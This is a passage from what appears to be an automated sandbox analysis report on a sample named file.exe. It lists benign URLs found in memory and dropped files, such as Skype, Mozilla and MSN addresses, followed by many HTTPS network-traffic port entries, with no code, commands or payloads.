Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://web.telegram.org/
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://web.whatsapp.com
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: chromecache_447.6.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: file.exe, 00000000.00000002.2722740091.00000000018B9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2747553724.0000000023CEE000.00000004.00000020.00020000.00000000.sdmp, JKJEHJKJEBGHJJKEBGIE.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://www.deezer.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.2438598854.00000000018D3000.00000004.00000020.00020000.00000000.sdmp, GDGHIDBK.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2438598854.00000000018D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2524024057.0000000023C9A000.00000004.00000020.00020000.00000000.sdmp, GDGHIDBK.0.dr, Web Data.9.dr, BKFBAECB.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: e2169cf0-776a-4514-95f7-d2abd8151c3f.tmp.10.dr, 61d60f0c-8b38-4641-89db-f3cedbf9e3b3.tmp.10.dr, 8e54fdb0-1844-41c9-bf33-736d75fcc857.tmp.10.dr	String found in binary or memory: https://www.googleapis.com
Source: chromecache_447.6.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_447.6.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: chromecache_445.6.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_445.6.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_445.6.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://www.instagram.com
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://www.last.fm/
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://www.messenger.com
Source: BFBGDGIDBAAEBFHJKJDGCGCGDG.0.dr	String found in binary or memory: https://www.mozilla.org
Source: BFBGDGIDBAAEBFHJKJDGCGCGDG.0.dr	String found in binary or memory: https://www.mozilla.org#
Source: file.exe, 00000000.00000002.2721107227.0000000000C24000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: BFBGDGIDBAAEBFHJKJDGCGCGDG.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: file.exe, 00000000.00000002.2721107227.0000000000C24000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000000.00000002.2721107227.0000000000D07000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2721107227.0000000000C24000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000000.00000002.2721107227.0000000000D07000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/W1sYnpxLnB3ZA==
Source: BFBGDGIDBAAEBFHJKJDGCGCGDG.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: BFBGDGIDBAAEBFHJKJDGCGCGDG.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://www.office.com
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: file.exe, 00000000.00000002.2722740091.00000000018B9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2747553724.0000000023CEE000.00000004.00000020.00020000.00000000.sdmp, JKJEHJKJEBGHJJKEBGIE.0.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://www.tiktok.com/
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://www.youtube.com
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 56835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 56743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 56789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 56742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 56845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 56801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 56741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 56718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 56879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 56834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 56826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 56745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 56787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56905
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56900
Source: unknown	Network traffic detected: HTTP traffic on port 56883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56834
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56835
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56832
Source: unknown	Network traffic detected: HTTP traffic on port 56887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56728
Source: unknown	Network traffic detected: HTTP traffic on port 56772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56849
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56723
Source: unknown	Network traffic detected: HTTP traffic on port 56737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56844
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56847
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56840
